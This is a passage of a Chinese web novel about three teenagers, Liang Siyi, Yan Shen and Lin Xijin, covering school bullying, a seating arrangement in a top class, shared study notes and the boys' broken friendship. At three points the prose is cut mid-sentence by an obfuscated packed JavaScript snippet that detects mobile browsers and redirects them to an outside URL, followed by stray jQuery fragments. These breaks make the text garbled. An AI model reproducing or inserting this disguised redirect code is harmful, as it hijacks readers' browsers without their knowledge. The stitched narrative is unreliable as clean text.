她说了许多,试图填充彼此不见面时的空白。
梁思意聊到徐衡吃包子的事情,又说:“他可能也看出些什么了,不过他人挺好的,也没有乱说。”
“是吗?”林西津反应平平,似乎对这个话题不太感兴趣。
梁思意的分享欲顿时大打折扣,草草几句结束话题,又问:“你呢,最近班里有没有什么好玩的事?”
“就那样,毕竟高三了,大家都要忙着学习。”林西津打了个哈欠,“昨晚熬通宵了,我去补个觉,你自己玩会。”
梁思意看着他走出去的背影,微微有些怔愣,一时间坐在椅子上没有任何动作。
这间书房,是她在林家借宿时最常待着的地方,林西津在这里帮她补习过英语,带她打过游戏。
她也在这里替林西津写过作业,处理过他打架留下的伤口。
林西津的书桌旁至今还摆着一张他和梁思意的合照。
那是初二的冬天。
梁思意刚转入林西津就读的初中不久,新班级的同桌是个男生,起初还挺和气,不知道从哪天起,总习惯性指使她做这做那儿。
秉持着多一事不如少一事的原则,梁思意每次都忍了。
直到某次大扫除,男生和梁思意搭档擦玻璃,却只甩手让梁思意一个人擦,“反正你妈妈也是给人家当保姆的,老鼠的儿子会打洞,你肯定比我擦得——啊!”
梁思意一桶凉水浇断了男生的话。
“你有病啊!”男生朝地上呸了口水。
“你才有病呢,一天到晚真把自己当皇帝了?”梁思意把水桶往他脚边一扔,“大清早亡了!”
“你——”男生气急,竟要上手打人,梁思意不甘示弱,但无奈力量悬殊,被男生推搡撞到桌角,跟着摔倒在地。
“我看你神气什么!”男生作势要踢人,周围同学终于看不过去,上前把两人拉开了。
梁思意喘着粗气从地上站起身,环顾四周,大家眼神各异,同情的、看好戏的,漠不关己的。
只有一个女生递来几张纸:“你先擦擦吧。”
“谢谢。”梁思意接过,走出教室前男生还在骂骂咧咧,她回头望过去,男生叫嚷:“看什么,有本事你再来!”
动手吃不到甜头,跟老师说又要请家长,梁思意一时无可奈何,躲在厕所默默掉眼泪。
“梁思意?”不知道过了多久,厕所外忽然传来熟悉的声音,“你在里面吗?”
梁思意回过神,匆匆抹掉眼泪,用凉水洗了把脸,可眼泪能隐藏,额头红肿的伤和哭红的眼睛无处可藏。
“厕所有人吗?”林西津又喊了一声。
梁思意磨磨蹭蹭,在林西津准备离开时才慢吞吞走出去,低着头说:“对不起,让你等久了。”
“你……”林西津看她乱糟糟的样子,忽地抓住她胳膊,“你怎么了,怎么搞成这样?”
“没事。”梁思意不肯,只想要赶快走。
“你跟人打架了?”林西津抓着她胳膊不松,温热的指腹贴着她的下巴轻抬,在看清梁思意脸上的伤时,忍不住骂了声脏话。
他盯着梁思意的脸问:“怎么回事,谁欺负你了?”
梁思意不愿意说,林西津也不再多问,只是她额头的伤实在明显,一时也藏不住。
“有了。”在诊所处理好伤口,林西津拉着梁思意进了一家理发店,“给你剪个刘海吧。”
梁思意被他想一出是一出愣住,任由摆弄似的坐在椅子上。
咔嚓几下。
周遭忽地传来一声笑,梁思意抬眸,眼前的镜子里一张熟悉的脸,只是额头多了一层厚厚的眉上刘海。
“……”
老天爷。
梁思意欲哭无泪地想,刚刚怎么不一头撞晕过去,她咬牙:“你技术真不错啊。”
“当然喽,现在可流行这种刘海啦,小美女你很有眼光呢。”托尼老师笑得开心,手在她额头上摆弄几下,“好了。”
梁思意钉在椅子上不动。
“怎么了?”林西津忽然靠近,视野里猝然放大的脸,梁思意的瞳孔一缩,心跳跟着一震。
眼神相触的瞬间,梁思意耳边所有的动静都远去,只听见心跳如擂鼓。
林西津伸手捻掉她鼻梁上的碎发沫,浅棕色瞳孔如琥珀般清澈明亮,他温柔地笑,只认真地看着她:“确实很好看呀。”
这一眼,是梁思意所有少女心事的开端。
她好像忘记痛,忘记被羞辱的怒,只记得这一刻,他眼底温柔的笑意,像阳光驱散阴霾,也一同带走她所有的负面情绪。
梁思意没有告诉林西津自己的伤是怎么来的,她不想多生事端,可林西津却用实际行动替她讨回公道。
那是周一的大课间,升旗仪式结束后,梁思意忽然被叫到办公室,在班主任桌前看到鼻青脸肿的林西津和同样被他揍得很惨的同桌。
事情原委清晰明了,但在学校斗殴不是小事,两边都被请了家长。
林母还在月子里,不方便出门,是阎余新赶来学校,替林西津和梁思意出头,两边各领处分检讨和停课一周,梁思意转去了另外的普通班。
从办公室出来,阎余新看见鼻青脸肿的林西津又好气又好笑,掏出手机准备拍张照片发给妹妹。
林西津却一把揽过梁思意:“来,不能我一个丢人啊。”
咔嚓。
鼻青脸肿的男生和留着滑稽刘海的女生被一同留在回忆里。
蓝天白云下。
梁思意侧眸看向身旁的男生。
彼时的林西津,温柔英俊,优秀上进,是学校里的风云人物,而梁思意普通得不能再普通。
她只能暗自追随他的脚步。
从普通班考进重点班,再到三中,梁思意以为只要和他的分数越来越接近,两个人的关系也会越来越近。
但现实却恰恰相反。
她越靠近,他越冷淡。
她止步不前,他又回头示好。
他忽远忽近的态度让人捉摸不透,也让梁思意进退两难,恰如此刻,她怔怔地看着相片里笑得格外开怀的两个人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933582|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>往事已矣。
可往事美矣。
梁思意起身离开书房。
日暮西斜,伴随夜晚降临,整间屋子逐渐陷入黑暗,桌角的照片在黑夜里变得模糊不清。
照片里并肩而立的两个人在人生的长河中,好像真的只被留在了回忆里。
-
梁思意下楼时,四个长辈正坐在一起打麻将,她环顾四周,看见戴着耳机坐在沙发旁的阎慎。
这家伙竟然聚餐还带着试卷。
梁思意两眼一黑,顿时没了伤春悲秋的力气,只觉得压力倍增,再这么下去,她可能真要更名改姓了。
她走到角落的懒人沙发,也翻出手机窝在那里看复习资料。
学习的时间好像总是比其他时候流动得更快。
梁思意感觉才打开手机,阿姨就招呼着要吃晚饭了,她放下手机回头,却猝不及防撞上阎慎的目光。
莫名有种背着对方努力被抓到的心虚感。
梁思意故作镇定:“吃饭了。”
“听见了。”阎慎淡淡地说。
“那你怎么还不动?”
“学累了。”他低头捏了捏鼻梁,灯光柔和,衬得他的黑发蓬松又柔软。
炫耀。
赤裸裸地炫耀!
梁思意“哦”了一声,说:“你真努力,我都没怎么学。”
阎慎竖起大拇指,语气轻飘飘:“这么厉害啊。”
梁思意今天心情欠佳,懒得跟他打嘴炮,回敬一个沉默的白眼,绕过沙发走向餐厅。
饭桌旁,林母见人不齐,问了声:“林西津呢,怎么吃饭了还不下来?”
阿姨接话:“去喊过了,说是困得厉害,今晚不吃了。”
“这孩子,估计又通宵打游戏了。”林母笑着说,“思意啊,你没事多帮阿姨劝劝他,都高三了一点上进心都没有。”
梁思意眸光闪烁,点头说好。
“光让别人劝有什么用。”阎余新接话,“你们平时也对孩子多上点心,别一门心思都扑在小的身上。”
“我知道,我心里有数,孩子不愿意加把劲我能怎么办。”林母叹了声气,“他一直就不像思意和阿慎上进。”
被点名的两人默契抬头,对视一眼又立马移开视线,好像多看一眼都要少吃两口饭。
阎余新语重心长:“再不上进也考进了三中,就这一年了。”
“知道知道,先吃饭,饭桌上别说这些,让孩子们都没胃口了。”林母自从有了女儿,对林西津的期望已经淡了许多。
吃完饭,他们一家开车离开。
梁思意和阎慎坐在后排,中间隔着能挤下两个人的距离。
她低头看手机,余光瞥向旁边,见阎慎只安静闭目养息,稍微松了口气,安心玩了起来。
回程的路车多,走走停停。
阎慎在晃动里睁开眼,歪头往侧边轻轻一靠,视线更开阔,窗外一闪而过的夜景如海市蜃楼般梦幻。
目光微微转动。
女生侧身靠在车门上,脸上映着手机屏幕黯淡的光,手指飞快地敲动着屏幕,对他的注视无知无觉。
忽然,她放下手机。
阎慎轻轻闭上眼,意外地察觉到一丝被注视的异样,他眼睫轻颤,抬眸的瞬间猝不及防对上女生圆亮的眼眸。
阎慎的心跳忽而快了起来:“看什么?”
“上周五的文综考试成绩出来了。”梁思意犹豫了下,把手机递过去,还是忍不住小声说:“你的史政是不是有点太差了。”
擦边及格。
阎慎少有地挫败,他从小到大最讨厌的事就是背书,分科时除了想跟随阎余新脚步成为医生,更多的还是想逃避文科庞大的背诵量。
“不过这次的文综试卷确实有点难。”梁思意示意他把手机还回来,一交一错间,机身沾染上几分他手心里的热度。
“你在安慰我?”阎慎有些惊讶,低声喃喃,“你竟然还会安慰人。”
“……”
梁思意决定收回她为数不多的同情。
车厢内重新恢复安静。
阎慎转头看向自己这一侧的窗外,忽明忽暗的光线在他脸上跳跃,衬出几分落寞。
和成为妹妹的梁思意相处,是阎慎学不会的课题。
比起和平相处当一个名义上的好哥哥,他更擅长做个讨厌的人,她最讨厌的人。
7.第 7 章
07
与阎慎相反,梁思意这次文综考得还行,但不知为何,在周一大课间后,她和阎慎一同被班主任叫到了办公室。
这半个月,实验班各科小考不断,梁思意数学考倒数第一的时候都没被约谈过。
她直到站在班主任桌前,也没想通为什么这次会突然找他们两个。
“别紧张啊,只是找你们聊聊。”张德忠年过五十,早已练出资深老教师的气质,不笑的时候严肃,笑起来更叫人发颤。
聊什么?
梁思意胡思乱想,该不会是看他们每次考试成绩都吊车尾,等不到下次月考,想直接劝退他们了?
“你们最近几次的考试成绩我都看了,跟你们班主任说得也一样,有长处也有短处,但我看你俩长短挺互补的,就没想过互相帮帮忙?”张德忠语出惊人,“毕竟也是一家人,何不就近实现资源互补?”
梁思意猛地转头看向站在一旁的阎慎,他下意识开口:“我没说过。”
张德忠呵呵一笑:“别紧张,这事是阎慎班主任周老师跟我说的,把你俩调到一起也是你父亲通过周老师建议我的,当然,我最终决定把你们安排在一起,主要还是看了你们过去的成绩单,原本想着你们毕竟关系不一般,平时能给对方搭把手查缺补漏,但这几次考试看下来,好像没太大变化?”
这话梁思意和阎慎压根没法接,说什么?
说我们关系并不好。
那岂不是拐着弯在骂张德忠好心做坏事,多此一举。
“你们从普通班考进实验班不容易,肯定也不想一轮游,那多丢人是不是?”张德忠语重心长,“离下次月考可没多少时间了,回去好好想想我的话,没事也多跟徐衡向葵他们讨教讨教,我的座位可不是乱七八糟安排的。”
梁思意和阎慎点头说知道了。
从办公室出来,两个人的表情都有些难以形容,一时间都不知道该说什么,互相沉默着走回教室。
“怎么了?张老师找你们说什么?”徐衡八卦道。
“没什么,就让我们平时多跟你们学习。”梁思意神情复杂,“估计是怕我们下次月考就不在这个班了。”
“那好说,想要什么学习笔记随便问,我没有的,向葵都有。”徐衡倒是大方。
向葵也接话说:“放心吧,离月考还有半个月呢,有什么不会的尽管问我们。”
梁思意抱拳:“大恩不言谢。”
话落,她看了眼阎慎,对方神情淡淡的,说不上喜怒,只是一天课听下来,话比平时少多了。
张德忠的话并非没有道理,只是让势如水火的两个人突然坐下来握手言和,并不是一件简单的事。
风平浪静到了周五。
晚上放学,徐衡主动把自己的数学笔记拿给了梁思意:“都是我看过的,也用不上了,你拿回去慢慢看。”
一旁的向葵欲言又止。
梁思意大为感动,抱着笔记说:“我一定会一个字一个字认真看的。”
向葵笑了笑:“你确实需要一个字一个字认真地看。”
梁思意不明所以,立马翻开笔记。
徐衡的字实在不敢恭维,整本笔记的字体都像加密文字一样,还有些看不懂的标记符号。
梁思意带回家看了一个多小时,纸页哗哗翻得飞快,能吸收学习的内容却极少。
她看得头疼,索性放弃,起身去楼下接水。
一楼的起夜灯整晚亮着。
梁思意站在餐桌旁喝了半杯水,听到身后有人下楼的动静。
她放下水杯转身,见阎慎揉着后颈走在台阶上,抬头的瞬间,他愣了下,才放下胳膊走近。
水壶搁在餐桌上。
阎慎从茶盘上拿了只干净杯子,也倒了一杯水。
寂静夜晚,似乎是缓和关系的好时机,梁思意轻咳了一声开口:“你想不想欣赏一下徐衡的数学笔记?”
“我数学又不差。”阎慎习惯性回了一句,说完又意识到什么,话音一转,“但也可以看一下。”
要是没这后半句话,梁思意差点就把手上剩的半杯水泼他脸上去了,她放下杯子,“那你等我。”
她轻手轻脚上楼,拿了笔记匆匆下楼:“看吧。”
阎慎说的是实话,他三门主科成绩都不差,也不知道徐衡的笔记有什么好看的,但梁思意愿意主动递台阶,他也难拒绝踏上去。
只是徐衡的笔记……
阎慎翻了翻,发自内心地问:“你看得懂?”
梁思意平时跟他呛多了,下意识想怼回去,他又及时找补了一句,“字面意思。”
她抿了抿唇,挺诚实地说:“看不懂。”
阎慎也“嗯”了一声,“这笔记除了他自己,估计没人能看懂。”
梁思意点头认同,接过他递还的笔记本。
沉默片刻,阎慎好似轻轻叹了口气:“时间还早,你要不要再欣赏欣赏我的?”
“也可以。”梁思意说得没那么求之不得。
阎慎起初让她等着,走了几步又说:“直接到楼上来看吧。”
这是梁思意第二次进阎慎的卧室,和她楼下的房间格局相差无几,只是顶部开了扇天窗,躺在床上时可以直接看见天空。
她没有冒昧地多打量,但还是眼尖地发现屋里的书比她上次进来拿试卷时还要多。
阎慎从书包里翻出笔记本。
普通的黑色封皮。
梁思意伸手接过,一打开只觉得赏心悦目,重点内容、典型题目,写得规整明白。
字也是养眼地漂亮。
阎慎是学过书法的,梁思意高一那会住在阎家,因为字丑,还被阎慎按着练了不少他以前学过的字帖。
以至于现在,她和阎慎的字在一些笔锋走势上还有些相像。
梁思意翻了几页,在相熟的字迹里找回一些过去交好的痕迹,不自觉放缓了语气:“比徐衡的好多了。”
阎慎倚靠在桌边,胳膊自然地撑在桌面上,不知是灯光缘故,还是今夜气氛恰好,他的神情也是少有地柔和:“你可以拿回去看。”
“我不白拿你的笔记,文综我也整理了些框架,不过都是我自己总结的,要不也发你一份?”梁思意坦诚道,“张老师说得有道理,进实验班不容易,我也不想只待这一个月,你肯定也不想,对吧?”
阎慎看她一眼,轻轻嗯了一声。
梁思意微不可察地松了口气:“那我回去把电子版发你。”
阎慎点点头:“行。”
“那我先回去了。”梁思意回房间之后立马把自己整理的文综资料给他发了过去,顺带又发了一条微信消息。
没有意思:我的提纲都是我自己总结的,如果不适合你,你可以根据自己的学习习惯,重新列一个时间轴和思维导图,想要学好历史,起码先做到能把时间和事件对应。
YS:嗯。
好冷漠的一个字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936763|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但梁思意看着手中的数学笔记,决定不跟他计较。
这一夜的短暂交流,像是达成共识的前奏。
梁思意和阎慎在教室不再当哑巴同桌,遇到问题也会商量,只不过往往商量到最后都会呛起来。
一个犟,一个装。
好听的话在彼此嘴里转一转,都能把对方毒死。
“又错?”阎慎指着一道跟地球运动有关的题目,“地球怎么不干脆绕着你脑袋转。”
梁思意理亏,又觉得丢人,把试卷往自己这边一扯,“要你管!背你的大事年表去!”
阎慎气恼:“早就背过了!”
“那你就倒着背一遍!”
“……”阎慎面无表情地点头,“行。”
两个人桌子连在一起,人却隔得很远,一天谁也不搭理谁。
晚自习,向葵见他俩还不说话,趁着阎慎和徐衡出去,笑着指了指外边:“你俩跟这天一样,一会儿晴一会雨的。”
梁思意这才注意到外边下起了雨。
平城今年雨水多,气温也降得快,这还不到十月,晚上已经有些凉意了。
“谁让他说话那么难听。”梁思意习以为常,“不过,他要是跟我好好说话我还不适应呢。”
“你受虐狂啊。”
梁思意语噎:“也不是。”
只是她好像一时半会也没找到和阎慎相处的方式,原先一直冷眼相对也不觉得有什么,现在似好非好的才让人尴尬。
向葵摆摆手,不太理解他们的相处模式。
刚好阎慎和徐衡从外边回来,她结束和梁思意的对话:“还是学习好啊,没那么多弯弯绕绕。”
“……”梁思意又在无意间被学霸的光环刺痛。
吵完没几天,他们迎来高三的第一个小长假。
今年中秋和国庆恰好在同一天,阎、林两家人约好一同回乡下探望老人。
梁思意又和阎慎坐在同一辆车上。
上次吵完到现在,两人一直都没坐下来好好说过几句话,每天自己学自己的,碰上要借的资料就在微信上发个只言片语。
梁思意不怎么清理微信聊天记录,重新跟阎慎联系起来后,她自然又看到暑假两人简短的对话。
梁思意这才想起,自己的画本还在阎慎手里,而他也还拥有两次对她提出要求的机会。
想起来也是冲动。
就算他把画本给别人看又如何,随便找个理由也能搪塞过去,毕竟她和林西津的关系在旁人看来并不差。
替他画几幅肖像画,也算不上什么。
梁思意越想越气,在微信上给他发消息。
没有意思:我的画本呢?
叮咚声在安静车厢响起。
阎慎看了眼手机,又侧目对上梁思意冒火的视线,淡声说:“扔了。”
“什么?”开车的阎余新先问了句,“什么扔了,不要乱开窗户扔东西。”
“没什么。”阎慎闭目养息,等到车停像跟有人在后边追他似的,率先跑下车。
他顾不上和爷爷奶奶打招呼,跑上二楼的卧室,在书桌的抽屉里找到那本画本。
开学前,阎慎回乡下待了几天,画本当时被他无意收进书包一起带了过来。
他只翻开看过一次。
平心而论,梁思意确实继承了她父亲的画画天分,画本越往后翻笔触越成熟,纸张上林西津的轮廓也越清晰。
清晰的难看。
8.第 8 章
08
阎慎和林西津的关系并不是一开始就如此恶劣,在回市里读书之前,他们还是有过一段兄友弟恭的时期。
那时候两家父母都忙着工作,年纪差了一岁的他们被一同送到爷爷奶奶身边,到了入学年纪,也是一起在镇上的小学读书。
乡下的生活丰富有趣。
钻稻田捉虾,爬溪沟捞鱼,整个小镇的男孩都跟在他们屁股后边跑,他们玩得乐不思蜀,成绩自然惨不忍睹。
学习不能耽误,小学还没读完,阎余新就托人把阎慎和林西津调回了市里的医大附小。
只是当时两个人基础太差,入学考试也只有阎慎擦边通过,附小的老师建议林西津留一级也从三年级开始读。
为了不让两兄弟继续混在一起互相影响,阎余新特意将他们分到了不同的班级。
没曾想,这也是他们矛盾的开端。
进入新的学校,一向自由散漫的两个人都有过一段漫长难熬的纠正期,三年级之后,才逐渐步入正轨。
两个人年纪相仿,又同时入学,逢年过节免不了会被家里人放在一起比较。
阎慎永远是被夸奖的尖子生,而林西津的成绩时好时坏,听得最多的永远是鼓励。
成年人无心的比较,促成了小孩子心里难言的自卑。
林西津起初还会跟阎慎抱怨几句,讨厌大人的虚伪和攀比,可伴随着阎慎的优秀,他考第二名和第二百名在旁人眼里看来似乎并没有太大区别。
父母鼓励的话语逐渐变成严厉的督促,在他们长年累月的打压下,积压在林西津心里的不满和愤懑,逐渐演变成对阎慎的憎恶。
他开始在方方面面都跟阎慎计较。
过年的红包,餐桌上的祝酒词,哄长辈的开心话,他通通手到擒来。
几年的时间里,他把自己从样样不如阎慎的林西津变成八面玲珑的林西津。
和有着青春叛逆期的阎慎相比,一向脾气温和大方的林西津反而变得更受长辈青睐。
成绩优异不再是唯一的标杆。
他沾沾自喜,将阎慎视作对手、敌人,俨然已经忘记他们是血脉相连的兄弟。
阎慎也曾经试图用逃学、考试交白卷的笨方法去挽回这段感情,可在林西津眼里看来,这只是阎慎对他的羞辱。
高一学年的第一次期中考试后,他们爆发了有史以来最激烈的一次争执。
林西津痛斥长辈们的偏心,指责阎慎的高高在上:“凭什么你永远都是最好的!凭什么我就要留级!凭什么!”
阎慎不理解也不明白,拳头砸在脸上,林西津拽着他衣领,叫嚷道:“还手啊!你为什么不还手!”
年少气盛,阎慎也不免被激怒,但念及旧情,并未用尽全力,直到两人被父母各自拉开时,林西津的一句话才让他彻底死心。
他脸上挂着伤,却故作大方地说:“没事儿,我们闹着玩呢,阿慎这次没考好,情绪不太好。”
阎慎不如他圆滑伪善,叛逆期也让他变得不那么符合长辈眼里的好孩子,他没犹豫,一拳头砸了过去。
林西津踉跄着向后摔,鼻血糊了一脸,连同儿时那些美好的回忆一起摔得面目全非。
……
阎慎听到楼下停车的动静,走到窗口,看见姑姑家的车停在院门前的空位。
林西津从后排下车,嘴很甜地叫着爷爷奶奶,上前给了两位老人一个大大的拥抱。
没人比阎慎更了解他这副伪善面孔下的真实面目。
他收回视线,看着手中尽是同张面孔的画本,眸光冷淡地吐槽道:“什么眼光。”
不想为不值得的人浪费情绪,阎慎随手将画本丢回抽屉里,正要合上,他想了想,又取出来锁进柜子里。
晚餐阎余新请了镇上的厨子来家里做烤全羊。
阎慎胃口平平,兴许是见到不想见的人,总觉得有些恶心,一抬头见梁思意跟林西津坐在一起,连带着头都有点痛。
姑姑阎余蕙剔了块羊腿肉在他碟子里,关心道:“怎么脸色不太好?没休息好吗?”
闻言,梁思意也抬眸看了一眼,男生正好坐在灯下,不知道是不是灯光缘故,脸色确实有些苍白。
阎慎嗯了一声,说昨晚睡太晚了,又拿起筷子说:“谢谢姑姑。”
“是不是实验班压力太大了呀。”阎余蕙笑道。
“还好。”阎慎两口解决完羊肉,胃里翻滚得更厉害,他强撑着恶心起身,“我吃饱了,你们慢慢吃。”
他的脾性一向如此,饭桌上也没人说什么,只有奶奶多问了一句:“怎么就吃这么点啊?还有这么多肉呢。”
阎慎走过去搂了搂老人的肩:“我现在不太饿,您给我留点,我晚上当夜宵吃。”
奶奶连声应好,赶忙准备给他先留出一份,桌上没有干净餐碟,林西津主动起身:“奶奶,您坐着,我去厨房拿。”
阎慎看他一眼,更恶心了。
他头也不回地离开餐厅,路过楼梯旁的卫生间,快步进去将晚上吃的东西吐了个一干二净。
浑身都是呛人的油烟味,阎慎干脆回房冲了把澡,换上睡衣躺在床上。
听着楼下的欢声笑语,他只觉得头痛欲裂,强迫自己闭上眼放空,竟也在不知不觉间睡了过去。
晚餐吃了将近三个小时。
饭后,梁思意和林西津在小院外修得笔直的小路上散步消食。
一段时间没见,林西津又变成善解人意的模样,他们聊了几句无趣的日常,最后还是落到高三的学习上。
“在实验班感觉怎么样?”林西津问。
“节奏快,氛围挺紧张的。”梁思意发自内心感慨,“说实话,压力也比之前大多了。”
林西津的声音带着笑意:“压力这么大,那会不会影响你学习?”
“还好,毕竟不是我一个人压力大。”梁思意心态不错,“大家都埋头苦学,也就没有玩的心思了。”
“这样不累吗?”
“高三本来就很累嘛。”梁思意笑了笑,“有竞争力也挺好的,起码能让自己时刻都能保持警惕也更有动力。”
更何况现在还有个一天到晚都在埋头苦学的阎慎追在后边。
比起掉出实验班,输给阎慎更让她难以接受。
“那你加油。”林西津淡声,“不早了,我们回去吧。”
梁思意点头说好。
两人刚走进小院,何文兰站在厨房门口朝梁思意招招手:“思意,你过来一下。”
“怎么了,妈妈?”梁思意走进去,见燃气灶开着火,“不是才吃完饭,怎么还煮东西?”
“给小阎煮了点粥。”何文兰盛出一碗白粥,又夹了一小碟腌制的萝卜条,“我早上起来看他空调外机都还响着,估计是吹了一夜空调有些受凉了,晚上也没怎么吃,这要睡一夜,胃里该难受了。”
梁思意“哦”了一声,装没听懂:“那你煮好放着呗,他饿了会下来吃的。”
何文兰笑着拍了一下她的手背:“你阎叔叔去找药了,你一会儿跟粥一起送过去。”
梁思意撇撇嘴。
“不是都做了一个月的同桌,就当关心同学了。”
说起这个,梁思意说:“我跟阎慎做同桌这事,还是阎叔叔跟老师提的呢,他也不怕我跟阎慎打起来。”
“是吗?”何文兰没听阎余新提过,一直以为都是班主任的意思,“那也挺好的呀,你不是说新班级都没认识的人,起码小阎是你熟悉的人,是不是在那里没那么孤单了?”
何文兰的话确实没说错,但梁思意不愿意承认,只不怎么情愿地说:“好吧好吧。”
阎余新拿了药过来,还煞有介事地跟梁思意说谢谢,搞得她都有些不好意思,跟接了什么重要任务一样,捧着托盘走得小心翼翼。
阎慎的卧室在二楼走廊的第一间,梁思意把托盘放在过道的柜子上,抬手敲了敲门。
没人应。
“这么早就睡了?”梁思意看了眼手机,才十点多,平时这个时间他都在学习。
她点开微信给他打语音电话。
隔着一层门板能听到手机一直在响。
“阎慎?”梁思意稍微用了点力敲门,本就没关严的门板“吱呀”一声开了一道细缝。
屋里的灯还亮着。
她站在门口犹豫了片刻,推门走了进去。
房子是自建的,因为平时不久住人,几个卧室都留得不大,只放得下两三件简单的家具。
阎慎的床三边靠墙,站在门口能将整间卧室的布局纳入眼中。
此刻,他正侧睡在床上,脑袋埋在枕头里,胳膊搭在床沿,露出的小臂修长有力。
怕他真的在生病,梁思意站在门边又喊了一声:“阎慎?”
没有想到睡梦中也不得安稳,阎慎在头晕目眩中睁开眼,视线刚好可以望见门口。
梁思意注意到他的脸和脖颈都泛着不正常的红,稍稍走近了些问:“你还好吗?”
和记忆里的对话如出一辙。
一瞬间,阎慎只以为还在梦中。
是那年秋天,他和林西津打完架,又平白吃了哑巴亏,一气之下选择离家出走。
阎慎已经记不清走了有多远,只记得回过神时,他停在母亲蒋穗以前上班的地方。
公司大楼对面有一大片人工湖。
他走过去,在湖边坐下。
傍晚天色好,有天鹅在湖水边悠闲觅食,不多不少,刚好两大一小,一家三口。
像是在讽刺他的形单影只,阎慎恼羞成怒,随便抓了一把草丢过去:“走开!”
谁曾想,三只里体型稍大点的那只黑天鹅竟丝毫不怯,反而因为受到攻击,伸着脖子乱叫一通后,径直冲上了岸。
阎慎吓了一跳,连忙起身躲闪,等到安全躲开攻击,已经略显狼狈。
他有些力竭,索性直接躺在草坪上,有些锋利的青草随着湖风摇曳,不停刮蹭着他的脸颊。
眼泪无声滚落,被无情草地吞没。
“你还好吗?”
突然出现的声音打断了阎慎的伤心,也唤醒了他抛之脑后的自尊心。
“走开。”他有些气急败坏地睁开眼,眸光却倏地一顿。
在一大片粉色晚霞的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943711|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天然滤镜下,穿着浅蓝色连衣裙的女生托着腮半蹲在一旁,脸庞白净,一双眼明亮清澈。
像林间偶然闯出的小鹿。
阎慎的心跳倏而空了一拍,却以为是脆弱被发现的难堪,不耐烦地别开眼:“走开。”
他对梁思意的印象一般。
这一年多,他们虽然同住一个屋檐下,但平时不在一个初中,读了一个高中又不在一个班。
周末她也时常不在家,碰面的机会少之又少,也甚少有过什么交流。
更何况,梁思意明显和林西津关系更要好。
刚在林西津那里吃了亏,阎慎在此刻很难对她有好脾气。
“阎叔叔他们很担心你。”梁思意被母亲急匆匆叮嘱跟着阎慎出门,陪着他走了两个多小时,见他没什么反应,又不好随便走开,索性也捋了捋裙摆躺在草坪上。
她不问他和林西津的矛盾,也不关心他的伤势,只静静地躺在一旁。
阎慎闭着眼,呼吸里除了青草的味道还多了一缕香味,是每天在自己衣服上都能闻到的味道。
这香味搅得他心烦意乱。
晚霞稍纵即逝,湖风渐凉,岸边垂柳树上悬挂的彩灯闪烁,在晃动的湖面上映射出斑斓的光影。
阎慎像是忍无可忍,猛地坐了起来,梁思意被他吓了一跳,跟着坐了起来,安静地看着他。
“你不回家吗?”阎慎看着她。
梁思意摇摇头,恰好风起,她手搭在胳膊上搓了搓。
“别跟我了。”阎慎起身,走了几步,忽地又折返,他解开外套丢过去,重复道,“别跟着我。”
“你去哪儿?”梁思意手忙脚乱接过他的外套,仓促起身间,不小心没踩稳,抓着衣服摔倒在地。
她轻嘶一声。
阎慎搓脸叹气,几步走到她面前蹲着,淡声说:“你找我做什么?林西津被我揍得那么惨,你不去关心他?”
“我妈妈让我跟着你。”梁思意揉着脚踝,小声说,“你为什么跟林西津打架?”
“怎么?要替他鸣不平?”阎慎没碰她,下巴轻抬,问她,“怎么样?”
“好像没扭到。”梁思意松开手,站起来走了两步,裙摆微晃,晃得阎慎眼花。
她停下来,又解释:“我不是替林西津鸣不平,我只是觉得你不像阎叔叔说的那样不讲道理。”
“为什么觉得我不像?”
梁思意抿了抿唇,有些犹豫,“我们班的教室在二楼,后窗对着小花园,这学期我正好坐在窗边……”
阎慎想起什么,站起身没说话。
“我见过你去喂猫,下雨天打着伞也去。”梁思意对他笑笑,“况且,你对我妈妈也很尊重,就算她无心做了你不爱吃的东西,你也会尽量忍着吃完。”
那时梁思意刚搬进阎家,对林西津口中所描述的阎慎略有所防备,也刻意减少自己在家出现的频率,和他接触并不多。
何文兰从阎余新那里得知阎慎爱吃饺子,经常手工包一些给他当早餐。
开学一个多月,阎慎吃了不下十回,从未说过什么,一直到阎余新出差回来,何文兰煮过一次饺子给他当夜宵才知道,阎慎不爱吃木耳,而何文兰给他包的饺子馅里,掺了不少木耳碎。
可他什么也没说,也从未有过一点浪费。
梁思意认真道:“比起听别人说,我更相信我看见的你。”
“是吗?”阎慎的耳朵有些发烫,却还是没礼貌地说,“如果我就是单纯的心情不好想打他呢?”
“那你至少应该给林西津道个歉,而不是一个人不负责任地跑出来。”
“我不会给他道歉。”阎慎斩钉截铁地说。
“所以你到底为什么要打他?”
“他没打我吗?”阎慎指了指自己的脸,也没多好看。
